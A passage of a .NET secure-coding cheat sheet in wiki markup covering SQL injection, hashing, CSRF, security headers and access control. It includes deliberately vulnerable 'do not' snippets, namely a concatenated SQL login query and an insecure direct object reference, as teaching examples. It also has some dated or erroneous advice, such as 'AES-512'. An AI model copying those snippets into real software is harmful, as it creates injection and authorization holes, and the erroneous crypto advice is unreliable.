Individual frameworks can be kept up to date using [http://nuget.codeplex.com/wikipage?title=Getting%20Started&amp;amp;referringTitle=Home NuGet]. As Visual Studio prompts for updates, build it into your lifecycle.&lt;br /&gt;
&lt;br /&gt;
Remember that third party libraries have to be updated separately and not all of them use Nuget. ELMAH for instance, requires a separate update effort.&lt;br /&gt;
&lt;br /&gt;
==.NET Framework Guidance==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework is the set of APIs that support an advanced type system, data, graphics, network, file handling and most of the rest of what is needed to write enterprise apps in the Microsoft ecosystem. It is a nearly ubiquitous library that is strong named and versioned at the assembly level.&lt;br /&gt;
&lt;br /&gt;
=== Data Access ===&lt;br /&gt;
&lt;br /&gt;
* Use [http://msdn.microsoft.com/en-us/library/ms175528(v=sql.105).aspx Parameterized SQL] commands for all data access, without exception.&lt;br /&gt;
* Do not use [http://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlcommand.aspx SqlCommand] with a string parameter made up of a [http://msdn.microsoft.com/en-us/library/ms182310.aspx concatenated SQL String].&lt;br /&gt;
* Whitelist allowable values coming from the user. Use enums, [http://msdn.microsoft.com/en-us/library/f02979c7.aspx TryParse] or lookup values to assure that the data coming from the user is as expected.&lt;br /&gt;
** Enums are still vulnerable to unexpected values because .NET only validates a successful cast to the underlying data type, integer by default. [https://msdn.microsoft.com/en-us/library/system.enum.isdefined Enum.IsDefined] can validate whether the input value is valid within the list of defined constants.&lt;br /&gt;
* Apply the principle of least privilege when setting up the Database User in your database of choice. The database user should only be able to access items that make sense for the use case.&lt;br /&gt;
* Use of the [http://msdn.microsoft.com/en-us/data/ef.aspx Entity Framework] is a very effective [http://msdn.microsoft.com/en-us/library/ms161953(v=sql.105).aspx SQL injection] prevention mechanism. Remember that building your own ''ad hoc'' queries in EF is just as susceptible to SQLi as a plain SQL query.&lt;br /&gt;
* When using SQL Server, prefer integrated authentication over SQL authentication.&lt;br /&gt;
* Use [https://msdn.microsoft.com/en-us/library/mt163865.aspx Always Encrypted] where possible for sensitive data (SQL Server 2016 and SQL Azure),&lt;br /&gt;
&lt;br /&gt;
=== Encryption ===&lt;br /&gt;
* Never, ever write your own encryption.&lt;br /&gt;
* Use the [http://msdn.microsoft.com/en-us/library/ms995355.aspx Windows Data Protection API (DPAPI)] for secure local storage of sensitive data.&lt;br /&gt;
* Use a strong hash algorithm. &lt;br /&gt;
** In .NET (both Framework and Core) the strongest hashing algorithm for general hashing requirements is [http://msdn.microsoft.com/en-us/library/system.security.cryptography.sha512.aspx System.Security.Cryptography.SHA512].&lt;br /&gt;
** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].&lt;br /&gt;
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.&lt;br /&gt;
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.&lt;br /&gt;
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.&lt;br /&gt;
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.&lt;br /&gt;
&lt;br /&gt;
=== General ===&lt;br /&gt;
&lt;br /&gt;
* Lock down the config file. &lt;br /&gt;
** Remove all aspects of configuration that are not in use. &lt;br /&gt;
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe&lt;br /&gt;
&lt;br /&gt;
* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET Web Forms Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.&lt;br /&gt;
&lt;br /&gt;
* Always use [http://support.microsoft.com/kb/324069 HTTPS].&lt;br /&gt;
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.&lt;br /&gt;
* Implement [http://msdn.microsoft.com/en-us/library/h0hfz6fc(v=VS.71).aspx customErrors].&lt;br /&gt;
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.&lt;br /&gt;
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
 protected override OnInit(EventArgs e) {&lt;br /&gt;
     base.OnInit(e); &lt;br /&gt;
     ViewStateUserKey = Session.SessionID;&lt;br /&gt;
 } &lt;br /&gt;
&lt;br /&gt;
If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.&lt;br /&gt;
&lt;br /&gt;
 private const string AntiXsrfTokenKey = &amp;quot;__AntiXsrfToken&amp;quot;;&lt;br /&gt;
 private const string AntiXsrfUserNameKey = &amp;quot;__AntiXsrfUserName&amp;quot;;&lt;br /&gt;
 private string _antiXsrfTokenValue;&lt;br /&gt;
 protected void Page_Init(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     // The code below helps to protect against XSRF attacks&lt;br /&gt;
     var requestCookie = Request.Cookies[AntiXsrfTokenKey];&lt;br /&gt;
     Guid requestCookieGuidValue;&lt;br /&gt;
     if (requestCookie != null &amp;amp;&amp;amp; Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))&lt;br /&gt;
     {&lt;br /&gt;
        // Use the Anti-XSRF token from the cookie&lt;br /&gt;
        _antiXsrfTokenValue = requestCookie.Value;&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Generate a new Anti-XSRF token and save to the cookie&lt;br /&gt;
        _antiXsrfTokenValue = Guid.NewGuid().ToString(&amp;quot;N&amp;quot;);&lt;br /&gt;
        Page.ViewStateUserKey = _antiXsrfTokenValue;&lt;br /&gt;
        var responseCookie = new HttpCookie(AntiXsrfTokenKey)&lt;br /&gt;
        {&lt;br /&gt;
           HttpOnly = true,&lt;br /&gt;
           Value = _antiXsrfTokenValue&lt;br /&gt;
        };&lt;br /&gt;
        if (FormsAuthentication.RequireSSL &amp;amp;&amp;amp; Request.IsSecureConnection)&lt;br /&gt;
        {&lt;br /&gt;
           responseCookie.Secure = true;&lt;br /&gt;
        }&lt;br /&gt;
        Response.Cookies.Set(responseCookie);&lt;br /&gt;
     }&lt;br /&gt;
     Page.PreLoad += master_Page_PreLoad;&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 protected void master_Page_PreLoad(object sender, EventArgs e)&lt;br /&gt;
 {&lt;br /&gt;
     if (!IsPostBack)&lt;br /&gt;
     {&lt;br /&gt;
        // Set Anti-XSRF token&lt;br /&gt;
        ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;&lt;br /&gt;
        ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;&lt;br /&gt;
     }&lt;br /&gt;
     else&lt;br /&gt;
     {&lt;br /&gt;
        // Validate the Anti-XSRF token&lt;br /&gt;
        if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue || &lt;br /&gt;
           (string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))&lt;br /&gt;
        {&lt;br /&gt;
           throw new InvalidOperationException(&amp;quot;Validation of Anti-XSRF token failed.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.&lt;br /&gt;
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.&lt;br /&gt;
** In the Home pane, double-click HTTP Response Headers.&lt;br /&gt;
** In the HTTP Response Headers pane, click Add... in the Actions pane.&lt;br /&gt;
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.&lt;br /&gt;
** This is a recommended web.config setup that handles HSTS among other things.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
  &amp;lt;configuration&amp;gt;&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
      &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;/system.web&amp;gt;&lt;br /&gt;
    &amp;lt;system.webServer&amp;gt;&lt;br /&gt;
      &amp;lt;security&amp;gt;&lt;br /&gt;
        &amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/security&amp;gt;&lt;br /&gt;
      &amp;lt;staticContent&amp;gt;&lt;br /&gt;
        &amp;lt;clientCache cacheControlCustom=&amp;quot;public&amp;quot; cacheControlMode=&amp;quot;UseMaxAge&amp;quot; cacheControlMaxAge=&amp;quot;1.00:00:00&amp;quot; setEtag=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
      &amp;lt;/staticContent&amp;gt;&lt;br /&gt;
      &amp;lt;httpProtocol&amp;gt;&lt;br /&gt;
        &amp;lt;customHeaders&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/customHeaders&amp;gt;&lt;br /&gt;
      &amp;lt;/httpProtocol&amp;gt;&lt;br /&gt;
      &amp;lt;rewrite&amp;gt;&lt;br /&gt;
        &amp;lt;rules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Redirect to https&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match url=&amp;quot;(.*)&amp;quot;/&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;Off&amp;quot;/&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{REQUEST_METHOD}&amp;quot; pattern=&amp;quot;^get$|^head$&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Redirect&amp;quot; url=&amp;quot;https://{HTTP_HOST}/{R:1}&amp;quot; redirectType=&amp;quot;Permanent&amp;quot;/&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/rules&amp;gt;&lt;br /&gt;
        &amp;lt;outboundRules&amp;gt;&lt;br /&gt;
          &amp;lt;rule name=&amp;quot;Add HSTS Header&amp;quot; enabled=&amp;quot;true&amp;quot;&amp;gt;&lt;br /&gt;
            &amp;lt;match serverVariable=&amp;quot;RESPONSE_Strict_Transport_Security&amp;quot;&lt;br /&gt;
                pattern=&amp;quot;.*&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;conditions&amp;gt;&lt;br /&gt;
              &amp;lt;add input=&amp;quot;{HTTPS}&amp;quot; pattern=&amp;quot;on&amp;quot; ignoreCase=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
            &amp;lt;/conditions&amp;gt;&lt;br /&gt;
            &amp;lt;action type=&amp;quot;Rewrite&amp;quot; value=&amp;quot;max-age=15768000&amp;quot; /&amp;gt;&lt;br /&gt;
          &amp;lt;/rule&amp;gt;&lt;br /&gt;
        &amp;lt;/outboundRules&amp;gt;&lt;br /&gt;
      &amp;lt;/rewrite&amp;gt;&lt;br /&gt;
    &amp;lt;/system.webServer&amp;gt;&lt;br /&gt;
  &amp;lt;/configuration&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove the version header.&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot; /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
* Also remove the Server header.&lt;br /&gt;
&lt;br /&gt;
    HttpContext.Current.Response.Headers.Remove(&amp;quot;Server&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== HTTP validation and encoding ===&lt;br /&gt;
&lt;br /&gt;
* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting.  Complete request validation is recommended in addition to the built in protections.&lt;br /&gt;
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.&lt;br /&gt;
* Whitelist allowable values anytime user input is accepted. &lt;br /&gt;
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].&lt;br /&gt;
&lt;br /&gt;
=== Forms authentication ===&lt;br /&gt;
&lt;br /&gt;
* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.&lt;br /&gt;
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.&lt;br /&gt;
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.&lt;br /&gt;
* If HTTPS is not used, slidingExpiration should be disabled.  Consider disabling slidingExpiration even with HTTPS. &lt;br /&gt;
* Always implement proper access controls.&lt;br /&gt;
** Compare user provided username with User.Identity.Name.&lt;br /&gt;
** Check roles against User.Identity.IsInRole.&lt;br /&gt;
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.&lt;br /&gt;
* Explicitly authorize resource requests.&lt;br /&gt;
* Leverage role based authorization using User.Identity.IsInRole.&lt;br /&gt;
&lt;br /&gt;
==ASP.NET MVC Guidance==&lt;br /&gt;
&lt;br /&gt;
ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.&lt;br /&gt;
&lt;br /&gt;
* A1 SQL Injection&lt;br /&gt;
&lt;br /&gt;
DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
DO: Use parameterized queries where a direct sql query must be used. &lt;br /&gt;
&lt;br /&gt;
e.g. In entity frameworks:&lt;br /&gt;
&lt;br /&gt;
    var sql = @&amp;quot;Update [User] SET FirstName = @FirstName WHERE Id = @Id&amp;quot;;&lt;br /&gt;
    context.Database.ExecuteSqlCommand(&lt;br /&gt;
       sql,&lt;br /&gt;
       new SqlParameter(&amp;quot;@FirstName&amp;quot;, firstname),&lt;br /&gt;
       new SqlParameter(&amp;quot;@Id&amp;quot;, id));&lt;br /&gt;
&lt;br /&gt;
DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.&lt;br /&gt;
&lt;br /&gt;
e.g&lt;br /&gt;
    string strQry = &amp;quot;SELECT * FROM Users WHERE UserName='&amp;quot; + txtUser.Text + &amp;quot;' AND Password='&amp;quot; + txtPassword.Text + &amp;quot;'&amp;quot;;&lt;br /&gt;
    EXEC strQry // SQL Injection vulnerability!&lt;br /&gt;
&lt;br /&gt;
DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account&lt;br /&gt;
&lt;br /&gt;
* A2 Weak Account management&lt;br /&gt;
&lt;br /&gt;
Ensure cookies are sent via httpOnly:&lt;br /&gt;
&lt;br /&gt;
     CookieHttpOnly = true,&lt;br /&gt;
&lt;br /&gt;
Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:&lt;br /&gt;
&lt;br /&gt;
     ExpireTimeSpan = TimeSpan.FromMinutes(60),&lt;br /&gt;
     SlidingExpiration = false&lt;br /&gt;
&lt;br /&gt;
See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet&lt;br /&gt;
&lt;br /&gt;
Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Require all custom cookies to travel via SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
    &amp;lt;authentication&amp;gt;&lt;br /&gt;
      &amp;lt;forms requireSSL=&amp;quot;true&amp;quot; xdt:Transform=&amp;quot;SetAttributes(requireSSL)&amp;quot;/&amp;gt;&lt;br /&gt;
      &amp;lt;!-- SECURE: Authentication cookie should only be passed over SSL --&amp;gt;&lt;br /&gt;
    &amp;lt;/authentication&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.&lt;br /&gt;
&lt;br /&gt;
    [HttpPost]&lt;br /&gt;
    [AllowAnonymous]&lt;br /&gt;
    [ValidateAntiForgeryToken]&lt;br /&gt;
    '''[AllowXRequestsEveryXSecondsAttribute(Name = &amp;quot;LogOn&amp;quot;, Message = &amp;quot;You have performed this action more than {x} times in the last {n} seconds.&amp;quot;, Requests = 3, Seconds = 60)]'''&lt;br /&gt;
    public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling&lt;br /&gt;
&lt;br /&gt;
DO NOT: Roll your own authentication or session management, use the one provided by .Net&lt;br /&gt;
&lt;br /&gt;
DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* A3 XSS&lt;br /&gt;
&lt;br /&gt;
DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists&lt;br /&gt;
&lt;br /&gt;
You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:&lt;br /&gt;
&lt;br /&gt;
    Install-Package AntiXSS&lt;br /&gt;
&lt;br /&gt;
then set in config:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;system.web&amp;gt;&lt;br /&gt;
        &amp;lt;!-- SECURE: Don't disclose version header in each IIS response, encode ALL output including CSS, JavaScript etc, reduce max request length as mitigation against DOS --&amp;gt;&lt;br /&gt;
        &amp;lt;httpRuntime targetFramework=&amp;quot;4.5&amp;quot; enableVersionHeader=&amp;quot;false&amp;quot; encoderType=&amp;quot;Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary&amp;quot; maxRequestLength=&amp;quot;4096&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.&lt;br /&gt;
&lt;br /&gt;
DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
                &amp;amp;lt;add name=&amp;quot;Content-Security-Policy&amp;quot; value=&amp;quot;default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'&amp;quot; /&amp;amp;gt;&lt;br /&gt;
                ...&lt;br /&gt;
&lt;br /&gt;
* A4 Insecure Direct object references&lt;br /&gt;
&lt;br /&gt;
When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there&lt;br /&gt;
&lt;br /&gt;
    // Insecure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            return View(&amp;quot;Details&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
    // Secure&lt;br /&gt;
    public ActionResult Edit(int id)&lt;br /&gt;
        {&lt;br /&gt;
            var user = _context.Users.FirstOrDefault(e =&amp;gt; e.Id == id);&lt;br /&gt;
            // Establish user has right to edit the details&lt;br /&gt;
            if (user.Id != _userIdentity.GetUserId())&lt;br /&gt;
            {&lt;br /&gt;
                HandleErrorInfo error = new HandleErrorInfo(new Exception(&amp;quot;INFO: You do not have permission to edit these details&amp;quot;));&lt;br /&gt;
                return View(&amp;quot;Error&amp;quot;, error);&lt;br /&gt;
            }&lt;br /&gt;
            return View(&amp;quot;Edit&amp;quot;, new UserViewModel(user);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
* A5 Security Misconfiguration&lt;br /&gt;
&lt;br /&gt;
Ensure debug and trace are off in production. This can be enforced using web.config transforms:&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure debug information is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;compilation xdt:Transform=&amp;quot;RemoveAttributes(debug)&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;!-- SECURE: Ensure trace is turned off in production --&amp;gt;&lt;br /&gt;
    &amp;lt;trace enabled=&amp;quot;false&amp;quot; xdt:Transform=&amp;quot;Replace&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DO NOT: Use default passwords&lt;br /&gt;
&lt;br /&gt;
DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:&lt;br /&gt;
&lt;br /&gt;
	protected void Application_BeginRequest()&lt;br /&gt;
		{&lt;br /&gt;
    #if !DEBUG&lt;br /&gt;
            // SECURE: Ensure any request is returned over SSL/TLS in production&lt;br /&gt;
            if (!Request.IsLocal &amp;amp;&amp;amp; !Context.Request.IsSecureConnection) {&lt;br /&gt;
                var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace(&amp;quot;http:&amp;quot;, &amp;quot;https:&amp;quot;);&lt;br /&gt;
                Response.Redirect(redirect);&lt;br /&gt;
            }&lt;br /&gt;
    #endif&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
* A6 Sensitive data exposure&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A7 Missing function level access control&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* A8 Cross site request forgery&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
